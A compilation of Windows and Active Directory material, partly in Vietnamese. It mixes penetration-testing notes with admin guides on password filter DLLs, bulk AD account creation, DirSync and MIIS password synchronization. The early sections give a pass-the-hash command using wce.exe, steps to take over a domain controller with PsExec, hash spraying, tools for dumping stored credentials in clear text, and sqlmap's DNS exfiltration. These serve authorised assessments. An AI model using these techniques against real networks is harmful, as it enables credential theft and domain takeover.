    I realized during my tests that regardless of the method used to close a session, the logon sessions remain in memory. Take RDP connections, either if you disconnect (clicking on the top right X button of your RDP client) or log off from the Start menu, they remain in memory. I have seen this happening on Windows Server 2008 R2 Enterprise Service Pack 1 too. The main difference being that on Windows Vista onwards the logon sessions are erased from memory a few minutes after the user has logged off.

    The following screen-shots demonstrate the described behaviour:

    Dump of logon sessions following a disconnect via RDP of one user, foobar – his logon session remains in memory

    Dump of logon sessions following a forced log off of user’s foobar RDP connection – his logon session remains in memory

    db2admin logon session also remains in memory despite the relevant services are stopped.

    Threats posed by logon sessions

    The scenario here is similar to LSA secrets dump and cached domain logon information: you are Local System on a machine part of one or more Windows domains and you want to takeover the domains. There are no traces of domain users’ credentials from LSA secrets and the machine does not cache domain logon information.

    To extend your control over the domain you can dump the logon sessions. If there is a logon session of a domain administrator, it is game over: impersonate that logon session to spawn a command prompt. This technique is also known as pass-the-hash or logon session stealing.

    The command line would look like:

    C:\>wce.exe -s <user>:<domain>:<LM hash>:<NT hash> -c cmd.exe

    In the new command prompt window, connect over SMB, for instance with Sysinternals’ PsExec, to the root domain controller to takeover the Windows domain – Windows will use the impersonated NTLM credentials to authenticate against the domain controller and access will likely be granted as you are now, as a matter of facts, the domain administrator.

    Alternatively, if there are no domain administrators’ logon sessions, you can still spray the dumped logon sessions’ hashes to others machines of the domain exactly the same way you do to verify password reuse across machines with the local users’ password hashes: in the event that you have dumped domain users’ logon sessions, chances are high that these users are allowed to login to others systems of the network therefore you have an easy way into these.

    These systems might be vulnerable to others threats that allow you to takeover the domain from there, so it is definitely worth a try.

     

    Phần 6: Xác thực qua lớp mạng:

    Network services authentication credentials
    Like LSA secrets, Windows stores passwords in a reversible format elsewhere.
    When you login to a network resource like a network share, a proxy server behind NTLM authentication, a database management system, a mail server, etc, you can often instruct your client to save the password, typically by simply ticking the box “Remember my password”.
    Behind the scenes, Windows stores this information in the Credential Manager – a single sign-on (SSO) solution that exists since Windows XP. These stored credentials are used to authenticate each time the corresponding network resource is accessed by the user without the need to retype the password.
    These passwords are encrypted using the DPAPI syubsystem and can be dumped in clear-text format.
    You can also view, edit and add to this password storage. On Windows Vista onwards the Credential Manager is available under Control Panel\User Accounts and Family Safety\Credential Manager or from Control Panel\User Accounts and Family Safety\User Accounts\\Manage your credentials.
    Another storage used by Windows for a similar purpose is the Protected Storage. Applications like Internet Explorer and Outlook Express store the email account password in this storage, where they do not opt to store in the Credential Manager. The passwords stored in the Protected Storage are encrypted using the CryptoAPI functions and the key is derived from the user’s password therefore they can be dumped in clear-text format too.

    Third-party software like Chrome, RealVNC Client, Thunderbird and others store passwords to websites in their own format. Some tools store them within the registry, some use the Windows API and store them in the Credential Manager or the Protected Storage and others in files. Regardless, all these credentials are stored in a reversible format, publicly documented or not, they can be dumped in clear-text like Credential Manager and Protected Storage passwords.

    Dump Credential Manager
    The methods to interact with the Credential Manager is documented by Microsoft and implemented in a number of tools able to dump these credentials.
    NirSoft’s Network Password Recovery (netpass) is my first choice. It is one-executable only tool and reliable. Make sure you run the 64-bit version on 64-bit architecture.
    Cain & Abel can also dump the Credential Manager efficiently, however it only works locally not remotely so you should better avoid it unless installing new software is permitted onto the target machine.
    Passcape’s Network Password Recovery, not to be confused with the namesake tool from NirSoft, also works well, but the trial version only displays the first three characters of the dumped passwords.
    Avoid Metasploit own post-exploitation module windows/gather/credentials/enum_cred_store – it has always crashed regardless of the target Windows version.
    Dump Protected Storage
    NirSoft’s Protected Storage PassView (pspv) is my first choice. It is one-executable only tool and reliable.
    Another tool to consider is carrot, a bundle of other tools (primarily from NirSoft), good to dump Protected Storage credentials.
    Avoid fgdump as it fails to dump the protected storage.

    Dump third-party software stored credentials

    NirSoft has a vast collection of tools to dump third-party software stored credentials. Many of these are bundled in one-executable only tool, carrot.

    If you have got a Meterpreter shell onto the target system, Metasploit is handy to dump third-party software stored credentials as it has numerous post-exploitation modules for this purpose. Some are pretty much reliable, others are in beta and often crash.

    Threats posed by network services authentication credentials
    During an internal infrastructure assessment it is likely that you are able to own a workstation before a server.
    When this occurs, collecting information about what is the role of the machine within the infrastructure is a crucial step to successfully compromise the overall network. In cases where the machine is an employee’s workstation used daily, chances are very high that he uses it to access his corporate email, internal web sites, corporate proxy and other services. If so, chances are even higher that the user has ticked the “Remember my password” entry, everywhere.
    Having access, even as a low-privileged user, to these corporate systems “for free” is priceless and useful in your run to extend your control over the network and demonstrate to the customer how even the average and most insignificant workstation far from the DMZ need to be taken care of systematically.
    Often corporate email credentials, network shares passwords and others are reused by users across different services if not the domain user account too so being able to dump the credentials in clear is high value during a penetration test.

     

    Phần 7: Nhận được dữ liệu trên DNS trong SQL

    We have recently implemented data retrieval over DNS in sqlmap. This data exfiltration technique adds up to the six existing techniques already implemented: boolean-based blind, time-based blind, full UNION, partial UNION, error-based and stacked (nested) queries. It is supported on Oracle (running either on UNIX/Linux or Windows) and Microsoft SQL Server/MySQL/PostgreSQL (running on Windows).
    The technique can be tested for and used by providing sqlmap with the –dns-domain switch following a hostname that resolves over the Internet to the machine where you are running sqlmap from – you do not need to run your name server daemon so you can use a freely available DynDNS or similar solutions: sqlmap starts a fake DNS server on 53/udp so you need to run it with uid=0 privileges and handles the DNS requests from the target DBMS (actually from the DMZ’s DNS server misconfigured to resolve Internet hostnames) automatically.
    In cases where the target parameter is vulnerable and exploitable by either of the blind techniques or both of them, then sqlmap will test for DNS exfiltration too and prefer it over the blind techniques as it is much faster. Needless to say that both error-based and UNION based techniques are preferred if identified exploitable.
    The paper and slide-deck presented recently at PHDays conference in Moscow, Russia are available on my fellow sqlmap developer’s Slideshare page:

    I recommend you all run always sqlmap latest development version from its Subversion repository:

    svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-devcd sqlmap-devpython sqlmap.py –h

    Phần 8: 125 Công cụ bảo vệ hệ thống máy tính:

    The top 125 computer security tools

    The security community has spoken! About 3,000 people have rated the best and most widely used computer security tools. The Nmap project has collected the results of their survey in a relaunched version of their SecTools.org project: Top 125 Network Security Tools.

    sqlmap has made it to place #30 overall: a great result considering that it is a two-developers only project driven by passion, developed in our own spare time and with a large community of supporters, testers and enthusiasts.

    The previous SecTools.org survey was dated 2006, when sqlmap project was just started and unknown to the most. In five years the tool has evolved from a few hundred of lines of code to a massive python tool, versatile and powerful. The security community has acknowledged this: it is the only tool in the list to combine SQL injection detection, data analysis and database takeover capabilities against numerous database management systems despite a lot of others similar tool have been developed throughout the years.

    I found particularly interesting that many people highly rated web proxies in the web scanners category: 3 of the top 5 tools are web proxies. I read it as a positive sign: it means to me that manual testing is the preferred way by many to perform web application assessments as opposed to fully automated web scanners that, for the sake of clarity, can not cover business logic flaws by their design nature, hardly identify session management issues and struggle with multiple user levels’ access control list enforcement verification.

    The #1 tool in the category is Burp Suite, a tool that I use on many web application and web service penetration testing engagements. A tool that eases and assists me in the process of carefully and manually assessing the security of web applications. Congratulations to Dafydd Stuttard for his great work!

    sqlmap scored 6th place in this category, ahead of several commercial web scanners backed by big companies and developed by dozen of people. People could argue that this is because sqlmap is free so more people have access to it, fair point. I like to think that it scored high also because it addresses one single web application vulnerability type, the most critical, and does it damn well in the right hands. On top, we have added a lot of features, takeover functionalities, coverage for many database management systems and several optimizations.

    Out of 11 tools in the sploits category, sqlmap was rated 4th: another great result in my opinion. Like Metasploit framework (#1 of the category) and w3af (#3 of the category), it is open source. It’s the only niche tool focusing on exploiting SQL injections, database design flaws and their mis-configurations against a variety of database software.

    sqlmap would not be the great tool that it is today without its users’ base. I want to thank everyone that have contributed during the last five years with moral support, detailed feedback, overly appreciated patches, bug reports and acclaiming it publicly as a very handy and valuable tool.

    Greetings also to the authors of renowned books for citing and reviewing sqlmap. These include the recently revamped The Web Application Hacker’s Handbook and SQL injection attacks and defense.

     

    Tham khảo:

    http://mdsec.net/wahh/code2e.html

    Video demo: http://mdsec.net/labs/demo.html

    Làm thế nào để đồng bộ Active Directory Sync trong khi Username và Password bị mã hoá theo OS 32/64bit ?


    Part 1. Password Filter for OS

     

    Contents

    I.      Password Filters. 1

    1.    Password Filter Functions. 2

    2.    Password Filter Programming Considerations. 2

    3.    Installing and Registering a Password Filter DLL. 3

    To install and register a Windows password filter DLL. 3

    II.     Enforce Custom Password Policies in Windows. 4

    III.        Configuring Security Policy. 5

    IV.       The RegEx Password Filter Sample. 6

    V.    Installing the Password Filter 8

    VI.       Source Code Compiler by VC++. 9

          Download boots link: 9

          Error when Building: 9

          Installation. 9

     

     

    I. Password Filters

    Password filters provide a way for you to implement password policy and change notification.

    When a password change request is made, the Local Security Authority (LSA) calls the password filters registered on the system. Each password filter is called twice: first to validate the new password and then, after all filters have validated the new password, to notify the filters that the change has been made. The following illustration shows this process.

    clip_image001

    Password change notification is used to synchronize password changes to foreign account databases.

    Password filters are used to enforce password policy. Filters validate new passwords and indicate whether the new password conforms to the implemented password policy.

    For an overview of using password filters, see Using Password Filters.

    For a list of password filter functions, see Password Filter Functions.

    The following topics provide more information about password filters:

     

    1.  Password Filter Functions

    The following password filter functions are implemented by custom password filter DLLs to provide password filtering and password change notification.

    Function

    Description

    InitializeChangeNotify

    Indicates that a password filter DLL is initialized.

    PasswordChangeNotify

    Indicates that a password has been changed.

    PasswordFilter

    Validates a new password based on password policy.

     

    2.  Password Filter Programming Considerations

    When implementing password filter export functions, keep the following considerations in mind:

    • Take great care when working with plaintext passwords. Sending plaintext passwords over networks could compromise security. Network “sniffers” can easily watch for plaintext password traffic.
    • Erase all memory used to store passwords by calling the SecureZeroMemory function before freeing memory.
    • All buffers passed into password notification and filter routines should be treated as read-only. Writing data to these buffers may cause unstable behavior.
    • All password notification and filter routines should be thread-safe. Use critical sections or other synchronous programming techniques to protect data where appropriate.
    • Password notification and filtering take place only on the computer that houses the account.
    • All domain controllers are writeable, therefore password filter packages must be present on all domain controllers.

    Windows NT 4.0 domains: Notification on domain accounts takes place only on the primary domain controller. In addition to the primary domain controller, the password filter packages should be installed on all backup domain controllers to allow notifications to continue in the event of server role changes.

    • All password filter DLLs run in the security context of the local system account.

    For information about

    See

    How to install and register your own password filter DLL.

    Installing and Registering a Password Filter DLL

    The password filter DLL provided by Microsoft.

    Strong Password Enforcement and Passfilt.dll

    Export functions implemented by a password filter DLL.

    Password Filter Functions

     

    3.  Installing and Registering a Password Filter DLL

    You can use the Windows password filter to filter domain or local account passwords. To use the password filter for domain accounts, install and register the DLL on each domain controller in the domain.

    Perform the following steps to install your password filter. You can perform these steps manually, or you can write an installer to perform these steps. You need to be an Administrator or belong to the Administrator Group to perform these steps.

    clip_image002To install and register a Windows password filter DLL

    1.       Copy the DLL to the Windows installation directory on the domain controller or local computer. On standard installations, the default folder is \Windows\System32. Make sure that you create a 32-bit password filter DLL for 32-bit computers and a 64-bit password filter DLL for 64-bit computers, and then copy them to the appropriate location.

    2.       To register the password filter, update the following system registry key:

    3.  HKEY_LOCAL_MACHINE
    4.     SYSTEM
    5.        CurrentControlSet
    6.           Control
                Lsa

    If the Notification Packages subkey exists, add the name of your DLL to the existing value data. Do not overwrite the existing values, and do not include the .dll extension.

    If the Notification Packages subkey does not exist, add it, and then specify the name of the DLL for the value data. Do not include the .dll extension.

    The Notification Packages subkey can add multiple packages.

    7.       Find the password complexity setting.

    In Control Panel, click Performance and Maintenance, click Administrative Tools, double-click Local Security Policy, double-click Account Policies, and then double-click Password Policy.

    8.       To enforce both the default Windows password filter and the custom password filter, ensure that the Passwords must meet complexity requirements policy setting is enabled. Otherwise, disable the Passwords must meet complexity requirements policy setting.

     

     

    II.                Enforce Custom Password Policies in Windows

     

    Most people take the easy way out and use the default filter in order to validate passwords. But did you know you can employ authentication modules to customize your password policies to reflect your organization’s unique security requirements? Find out how in this article.

    by Yevgeny Menaker

    Microsoft Windows allows you to define various password policy rules. Specifically, it allows you to enable the “Password must meet complexity requirements” setting using the Policy Editor. This validates user passwords against password filter(s) (system DLL(s)). Usually, people use the default filter. However, many admins say they’d prefer a Linux-style validation, which would allow them to install various pluggable authentication modules (Linux-PAM modules) to filter user passwords (authentication tokens). You can easily adapt these modules to reflect your organization’s security policy with help of Linux configuration text files. The ability to add-on such modules creates more flexibility in composing password policies. With help of such custom modules (of course, these modules should be developed by a Linux programmers), Linux administrators may even author a regular expression for matching user passwords. Go to www.kernel.org/pub/linux/libs/pam/ for more detailed information about Linux-PAM and the available modules.

     

    The Linux model described above may be employed on Windows machines as well.

    What You Need: Windows NT/2000/XP


    In this article, learn how to create a
    Custom Password Filter (DLL in C++) that validates passwords against a configurable regular expression. The RegEx functionality is implemented based on the Boost open source library because it has wide support for regular expressions.

    Let’s start with an overview of the Windows Security system.

    Windows Security
    Windows Security is a policy-based system with a set of rules that compose security settings for a local machine or domain. The work of policy-based systems usually has three major stages:

    1. Creating rules to compose a policy.
    2. Searching for evidences.
    3. Enforcing policy based on the evidences.

    There is a parallel between the above stages and real-life legal systems. Most countries have an authority (usually parliament or senate) that makes laws. This corresponds to the first stage—composing the policy). Police departments are the guards of the legal system, responsible for collecting evidence (e.g. measuring car speed on highways) and enforcing the existing laws based on evidences (e.g. canceling driving license in case of exceeding the speed limit). So, a police force corresponds to the second and third stages.

    In Windows security, system administrators play the role of parliament. They dictate the policy for an organization domain. In some cases, regular users also design security policy (e.g. when choosing their own passwords). The police uniform is given to the local security authority (LSA) Windows sub-system. LSA collects evidences for decision-making and enforces the policies (laws). The LSA sub-system is represented by the lsass.exe Windows process and several system DLLs.

     

    III.             Configuring Security Policy

    System Administrators are usually responsible for configuring Security Policy. Since this article is about password filters, I’ll use configuring Password Policy as the example.

     

    clip_image004

     

    Figure 1. The “Local Security Policy” Management Console: This shows the list of security settings that compose your password policy on the local machine.

     

    As mentioned previously, regular users are involved in composing security settings when they choose their own log-on passwords. However, because a weak password can create vulnerable system and compromise organization security, system administrators need more control over this issue and disallow the use of too simple, short and vulnerable to dictionary attacks passwords. In other words, you need to compose a password policy that meets your organization’s security requirements.

    To edit security policies, you can use either the secedit.exe command line utility or the “Domain Security Policy” graphical console available from Control Panel -> Administrative Tools on the domain controller machine. With this tool, you will govern the security policy for all the computers in the Windows domain. Note that in case of workstation machine, only the “Local Security Policy” console is installed (shown in Figure 1). Local policy affects settings on the local machines and it doesn’t override domain policy. Thus, the security settings will be effective for local machine users, but not for domain users. This article uses the graphical tool to alter security settings on the local machine.

    clip_image006

     

    Figure 2. Editing Password Policy Rules: Double-click the “Minimum password length” item to display the dialog window.

     

    The left pane of the management console contains an Explorer-like tree. Each node represents a different Security Policy. In this example, you’ll make modifications to the Password Policy to require users to choose long enough passwords (at least 10 characters). Here’s how to do it:

    Expand the “Account Policies” node and select “Password Policy.” On the right pane of the management console, you should see a list of security settings (rules) that compose the password policy as shown in Figure 1. Double-click the “Minimum password length” item to display the dialog window (Figure 2). Edit the text field, setting the minimum password length to 10 characters, and click OK.

    Congratulations! The new rule is ready. From now on, LSA will not allow your users to choose passwords shorter than 10 characters.

    An interesting rule from the Password Policy set is “Password must meet complexity requirements.” This rule may be either Disabled or Enabled. In the Disabled state it has no effect. Enabling this rule instructs LSA to validate each password against Password Filters. If you don’t provide any filter, the default is used (which is considered relatively strong). However, the default allows simple passwords, such as Paris123. You definitely want more powerful filters and this is where Custom Password Filters can be helpful.

    What Is a Password Filter?
    A Password Filter plays a primary role in decision-making regarding user passwords. By definition, a Password Filter is a system DLL that exports three functions with the following prototypes (note the
    __stdcall
    calling convention):

    BOOLEAN __stdcall InitializeChangeNotify(void);     // (1)

    BOOLEAN __stdcall PasswordFilter( // (2)

    PUNICODE_STRING AccountName,

    PUNICODE_STRING FullName,

    PUNICODE_STRING Password,

    BOOLEAN SetOperation

    );

    NTSTATUS __stdcall PasswordChangeNotify(    // (3)

    PUNICODE_STRING UserName,

    ULONG RelativeId,

    PUNICODE_STRING NewPassword

    );

    How does LSA interact with Custom Password Filters by means of the above interface? First, assume that the “Password must meet complexity requirements” rule is Enabled. On the system startup, LSA loads all the available Password Filters and calls the InitializeChangeNotify() function. When LSA receives TRUE as a return value, this means that the Password Filter loaded successfully and functions properly. Upon this call, LSA also builds a chain of available Password Filters (those that returned TRUE).

    When you’re giving a password to a new user or modifying an existing user’s password, LSA assures that every link in Password Filters Chain is satisfied with a new password. LSA invokes the PasswordFilter() function of each filter in the chain. If one filter in a chain returned FALSE, LSA does NOT continue calling the next filter. Instead, it asks the user to provide another password. If every call to PasswordFilter on every filter returns a TRUE value, a new password is approved and each filter is notified about it through the PasswordChangeNotify() function.

    As you can see, the Password Filter is a handy tool for LSA (or, the Windows Police), acting as a speed trap for highway patrol, helping to collect evidence from the “field.” These evidences are useful in the third stage, where policies are enforced.

    Before You Implement…
    Consider the following issues before you start coding your own Password Filters:

    *       Treat sensitive data carefully. The PasswordFilter and PasswordChangeNotify functions receive passwords in clear-text format. These passwords should be processed fast and shouldn’t leave any trails in your memory for malicious applications to capture. Introduced in Windows 2003, the SecureZeroMemory Win32 API cleans specified memory. Traditional ZeroMemory may be not enough, since “smart” compilers will optimize your code and remove calls to this API. To make sure there are no such “useful” optimizations, read a random byte from a password string after it was filled with zeros.

    *       Make your filters fast and efficient. When LSA calls into the Password Filter function, most Windows processing stops, so make sure you don’t perform any lengthy operations.

    *       Expect the unexpected. Because LSA loads password filters during start-up, if something goes wrong, your system may become inoperable or go into deadlock. To avoid this, develop and test your DLLs on machines that have at least two operating systems installed. I have Linux and XP on my box and I found it highly useful when preparing this article. When I encountered problems, I booted from Linux and deleted the Password Filter DLL.

    *       Log your actions. Password Filters run in the context of the lsass.exe process. I don’t recommend debugging this process, because after you close the debugger and end the process, your system will shutdown. The best way to debug your already-running filter is to write the log files to disk and follow them to fix the bugs.

    *       Pre-debug your DLL. While lsass.exe debugging is not recommended, you may test your fresh Password Filter by writing a small unit-test program. In this program, load your DLL with a call to LoadLibrary Win32 API and invoke exported functions (after getting their addresses within GetProcAddress Win 32 API calls). This way, you may check that your filter doesn’t crash and functions properly.

     

    IV.            The RegEx Password Filter Sample

    Now that you’re aware of all the possible pitfalls, it’s high time for code action. This section will walk you through the sample provided with this article. I’ve created a VS7 solution with the PasswordFilterRegEx VC project.

    As the Password Filter definition requires, you export three functions. Here’s the code for the DEF file included within the sample project:

    LIBRARY PasswordFilterRegEx

    EXPORTS

    InitializeChangeNotify

    PasswordChangeNotify

    PasswordFilter

     

     
     

    The PasswordFilterRegEx.cpp contains source code for the exported functions. The implementations of InitializeChangeNotify and PasswordChangeNotify are quite simple:

    // Initialization of Password filter.

    // This implementation just returns TRUE

    // to let LSA know everything is fine

    BOOLEAN __stdcall InitializeChangeNotify(void)

    {

    WriteToLog(“InitializeChangeNotify()”);

    return TRUE;

    }

    // This function is called by LSA when password

    // was successfully changed.

    //

    // This implementation just returns 0 (Success)

    NTSTATUS __stdcall PasswordChangeNotify(

    PUNICODE_STRING UserName,

    ULONG RelativeId,

    PUNICODE_STRING NewPassword

    )

    {

    WriteToLog(“PasswordChangeNotify()”);

    return 0;

    }

    The bulk of the work is done in the PasswordFilter function (shown in Listing 1). First, create a zero-terminating copy of a password string and assign it to an STL wstring object (STL is used in conjunction with the boost regex library):

    wszPassword = new wchar_t[Password->Length + 1];

    if (NULL == wszPassword)

    {

    throw E_OUTOFMEMORY;

    }

    wcsncpy(wszPassword, Password->Buffer, Password->Length);

    wszPassword[Password->Length] = 0;

    WriteToLog(“Going to check password”);

    // Initialize STL string

    wstrPassword = wszPassword;

    Next, the regular expression is instantiated. The sample Password Filter reads the regular expression from the RegEx value of the following registry key:

    HKEY_LOCAL_MACHINE\\Software\\DevX\\PasswordFilter

    If the value is not found in registry, the dummy default regular expression (“^(A)$”) is used.

    Finally, validate the password against the regular expression and return the results to the caller (LSA):

    WriteToLog(“Going to run match”);

    // Prepare iterators

    wstring::const_iterator start = wstrPassword.begin();

    wstring::const_iterator end = wstrPassword.end();

    match_results<wstring::const_iterator> what;

    unsigned int flags = match_default;

    bMatch = regex_match(start, end, what, wrePassword);

    if (bMatch)

    {

    WriteToLog(“Password matches specified RegEx”);

    }

    else

    {

    WriteToLog(“Password does NOT match specified RegEx”);

    }

    . . .

    return bMatch;

    Just before you return the results to LSA, perform memory clean-up:

    // Erase all temporary password data

    // for security reasons

    wstrPassword.replace(0, wstrPassword.length(), wstrPassword.length(),

    (wchar_t)’?’);

    wstrPassword.erase();

    if (NULL != wszPassword)

    {

    ZeroMemory(wszPassword, Password->Length);

    // Assure that there is no compiler optimizations and read random byte

    // from cleaned password string

    srand(time(NULL));

    wchar_t wch = wszPassword[rand() % Password->Length];

    delete [] wszPassword;

    wszPassword = NULL;

    }

    return bMatch;

     

    V.              Installing the Password Filter

    Note: In order to filter passwords for domain users, you should use the “Domain Security Policy” console on domain controller machine and install there your password filter. In this example, the entire configuration is done on the local machine. Hence, Password Filter will validate passwords for my local machine accounts. Follow this procedure to activate your fresh Password Filter (the same procedure is applicable for the domain controller):

    *       Enable the “Password must meet complexity requirements” rule of the Password Policy.

    *       Copy the Password Filter DLL to the %SystemRoot%\system32 folder on your machine.

    *       Open the Registry Editor (regedit.exe) and locate the following registry key:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

    *       Modify the “Notification Packages” multi-string value of the above key and add your Password Filter file name without the “.dll” extension. Add the PasswordFilterRegEx string as shown in Figure 3.

    clip_image007

     

    Figure 3. Editing “Notification Packages”: Add the PasswordFilterRegEx string.

     

    *       Close Registry Editor and restart your machine.

    Your Password Filter in Action
    After you’ve installed Password Filter and restarted your machine, you’re ready for testing. The source code includes a simple regular expression for testing purposes. Find it in the
    RegEx value of the HKLM\Software\DevX\PasswordFilter key (the PasswordFilter.reg
    file is provided with the code for your convenience):

    ^([a-zA-Z]+)(\d+)([a-zA-Z]+)$

    In other words, start with letters, have some digits in the middle and end up with letters again. This regular expression is not recommended as a strong Password Regular expression, but it is useful for assessing whether your Password Filter does its job.

    clip_image009

     

    Figure 4. Creating a New User: Select Expand Local Users and Groups, right-click on the Users node, and choose the New User menu item.

     

    Remember that this filter stands after the default Windows filter in the chain. So, in order to have any effect, you’ll need tougher requirements than the default. The Paris2003 password will validate against the default filter, but the test regular expression won’t match it. To check this, create a new user. If you use Domain Controller, create a user with Active Directory. On the stand-alone Workstation machine, right-click on My Computer and choose the Manage item from the context menu. Select Expand Local Users and Groups, right-click on the Users node, and choose the New User menu item as shown in Figure 4.

    Fill-in the new user’s details and assign a password. Try a simple one (e.g.: Paris2003) and you will get an error message from LSA (Figure 5). Try a different, more complex password (e.g.: Paris2003A) and it will be accepted.

    The Secret Is Out
    While there are several commercial products that implement Password Filters, it isn’t really all that difficult. Now, that you understand how they work, you can provide your own, customized solution.

    clip_image011

     

    Figure 5. Error!: This password doesn’t meet the complexity requirements.

     

     

     

     

     

     

    VI.            Source Code Compiler by VC++

     

           Download boots link: http://nchc.dl.sourceforge.net/project/boost/boost/1.50.0/boost_1_50_0.zip

     

           Error when Building:

    I writed project which uses <boost/thread/locks.hpp>, i added include directory to Additional Include directories, and lib folder to linker. But when i try to build solution, error:

    Error 1 error LNK1104: cannot open file ‘libboost_thread-vc100-mt-sgd-1_50.lib’

    I searched this file in lib directory, but no file with this name in lib directory. I found file with similar name libboost_thread-vc100-mt-gd-1_50.

           Answer: i built them by guide boost.org/doc/libs/1_50_0/doc/html/bbv2/installation.html

           Installation

    To install Boost.Build from an official release or a nightly build, as available on the official web site, follow these steps:

    1.     Unpack the release. On the command line, go to the root of the unpacked tree.

    2.     Run either .\bootstrap.bat (on Windows), or ./bootstrap.sh (on other operating systems).

    3.     Run

    ./b2 install –prefix=PREFIX

    where PREFIX is a directory where you want Boost.Build to be installed.

    4.     Optionally, add PREFIX/bin to your PATH environment variable.

    If you are not using a Boost.Build package, but rather the version bundled with the Boost C++ Libraries, the above commands should be run in the tools/build/v2 directory.

    Now that Boost.Build is installed, you can try some of the examples. Copy PREFIX/share/boost-build/examples/hello to a different directory, then change to that directory and run:

    PREFIX/bin/b2

    A simple executable should be built.

    1 cách can thiệp AD dễ dàng: Excel mẫu dữ liệu và Macro VB Code chạy tính năng Add bulk user Account trong Windows AD.


    File Excel: user_new.xls

    excel_ad_1

    Dòng 3: Mầu vàng là phần sẽ nhập dữ liệu thay đổi.

    Dòng 1, 2 là dòng tiêu đề của Fields và số thứ tự trong Code (không được thay đổi).

    Đây là code chỉ dùng để nhập, tạo account mới. Không dùng để update cập nhật những thay đổi sau khi đã tạo account.

    Sau khi nhập dữ liệu cho AD,

    Bấm Macro để chạy : Ctrl + Shift + A hoặc để sửa:excel_ad_2

     

    Để sửa code: hãy chọn tên Macro : AD , sau đó bấm Edit:

    excel_ad_3

    Hãy mở Macro VBA Chỉ nên sửa đoạn code sau:excel_ad_4

    strSheet =”C:\PS\user_new.xls” ‘ vị trí thư mục và tên file excel dùng để lưu và tạo account AD

    strContainer = “OU=student,” ‘có thể thay tên của OU gốc nếu máy chủ AD quan lý với tên khác

    ví dụ: Trường K-12 dùng cấu trúc sau:

    excel_ad_5

    Có tới 4 cấp: nếu muốn đưa Account vào tận cấp thứ 4 thì phải thay OU như sau:

    strContainer = “OU=staff,OU=ThaoDien,OU=Computers,OU=Laptop,”

    Chúc các bạn thành công trong quản lý người dùng với Active Directory và Domain Controller.

    Cách dùng công cụ đồng bộ AD với Outlook Live của Office 365


    Directory Synchronization (DirSync).

    See with DirSync everything in the connected on-premises forest is synchronized to the cloud.

    image

    Activating Dirsync.

    1. Go to https://portal.microsoftonline.com.
    2. Log on using your administrator credentials.
    3. On the Office 365 portal, click the Admin tab

    clip_image002

    4. On the Admin portal, click Users.
    clip_image004

    5. On the Users page, click Activate next to Active Directory synchronization. Synchronization is deactivated by default.

    clip_image006
    6. Activating DirSync launches the Set up Active Directory synchronization roadmap. The page provides a list of DirSync implementation considerations and action items. From this page, review the prerequisites, prepare the domain, and install and configure Identity Federation.

    clip_image008

    Installing the Active Directory Synchronization Tool.

    This section discusses how to install the tool and enable it in your cross-premise environment.

    *Note The Active Directory Synchronization Tool must be installed on a 32-bit machine that runs Windows Server 2003 Service Pack 2 or greater.This is change soon but for now this is required.

    To install DirSync:
    1. Go to https://portal.Microsoftonline.com and log on with your administrator credentials.
    2. Click the Admin tab.
    3. On the Admin portal, click Users.
    4. Under Install and configure the Directory Synchronization Tool, click Download.

    clip_image013
    5. Save files locally to the computer.
    6. Double-click the downloaded .msi file and click Next.

    7. On Microsoft Software License Terms, click I accept the Microsoft License Terms, and then click Next.

    clip_image015

    8. On Select Installation Folder, click Next.
    clip_image017

    9. Installation displays installation progress.
    clip_image019

    10. Select the Start Configuration Wizard now check box, and click Finish to launch the configuration wizard.
    clip_image021

    That’s it you can either wait the 3 hours until next sync or force a synchronization event.

    Force Sync.

    1. Open the directory structure below and double-click on ‘DirSyncConfigShell.psc1’. This will open powershell.

    image

    image

    Check Directory Sync.

    1. Open the admin portal and on the left column select ‘Users’.

    2. Here you should see the double-arrows indicating that these are sync’d users. To delete these users you must delete them from Active Directory.

    image

    Automated Password Synchronization Solution Guide for MIIS 2003


    The Automated Password Synchronization Solution Guide for MIIS 2003 provides instructions for planning and implementing an automated password synchronization solution in an enterprise environment using Microsoft Identity Integration Server 2003 (MIIS 2003).

    As with any solution, it is important to try this solution in a test environment before you deploy it into your production environment.

    What This Guide Covers

    This Guide offers a way to manage user passwords in an enterprise environment by keeping passwords synchronized across multiple identity stores. In it, you will find information about designing, implementing, and configuring your automated password synchronization solution. After you have read this Guide and implemented its solution, you will be able to deploy the automated password synchronization solution in your enterprise environment.

    This guide does not cover the installation, configuration, and operational details of MIIS 2003. This guide also does not cover password management in environments other than Active Directory® directory service. For general information about installation, configuration, and operation of MIIS 2003, see Microsoft Identity Integration Server 2003 Scenarios at http://go.microsoft.com/fwlink/?LinkId=34336.

    For detailed instructions for implementing the automated password synchronization solution, see the companion document Implementing the Automated Password Synchronization Solution – Step-by-Step at http://go.microsoft.com/fwlink/?LinkId=81750.

    Reader Prerequisites

    This Guide assumes that you are familiar with configuring and administering an Active Directory domain controller and configuring management agents in MIIS 2003. It is intended for users with some experience configuring MIIS 2003 and assumes that you are familiar with the Microsoft Identity Integration Server 2003 Technical Reference at http://go.microsoft.com/fwlink/?LinkId=38680.

    This Guide is intended for IT planners, systems architects, technology decision makers, consultants, infrastructure planners, and secondary IT personnel involved in planning and deploying an automated password synchronization solution.

    Business Challenges of Password Management

    Businesses face many password management challenges. Implementing a password management solution is necessary in many corporate environments because users have to authenticate to the network in a secure manner.

    Passwords are the most common authentication mechanism. From a deployment perspective, passwords are the simplest and cheapest authentication technique.

    With this in mind, having a poor password management policy in an enterprise environment can compromise enterprise security and make the enterprise vulnerable to outside attack from malicious threats. In organizations with poor password management practices, one or more of the following issues is typically present:

    • Weak and easily breakable passwords.
    • Passwords that users are not required to change often enough, which means that attackers can compromise the passwords through force and cryptographic attacks.
    • Passwords that have been written down, which can be easily compromised.
    • Numerous calls to the Help desk for password resets, which can result in increased operational costs.
    • Users who have too many passwords, which can result in password overload. With so many passwords for users to remember, they have difficulty managing passwords securely.

    To meet these challenges, businesses must find an appropriate solution to address their password management requirements.

    Business Solutions for Password Management

    Businesses can adopt various solutions to solve password management challenges. For example, users can change their passwords on each connected data directory by logging on to each directory interactively, and then changing the password natively in the connected data store. Although this is a typical solution, users can easily become confused and frustrated if they cannot remember which password they used for any of the connected data stores.

    Another solution is a state-based solution (not real time) in which users change their passwords in an authoritative connected data source. Then, a synchronization application pushes the updated password to other connected data sources that maintain identity information.

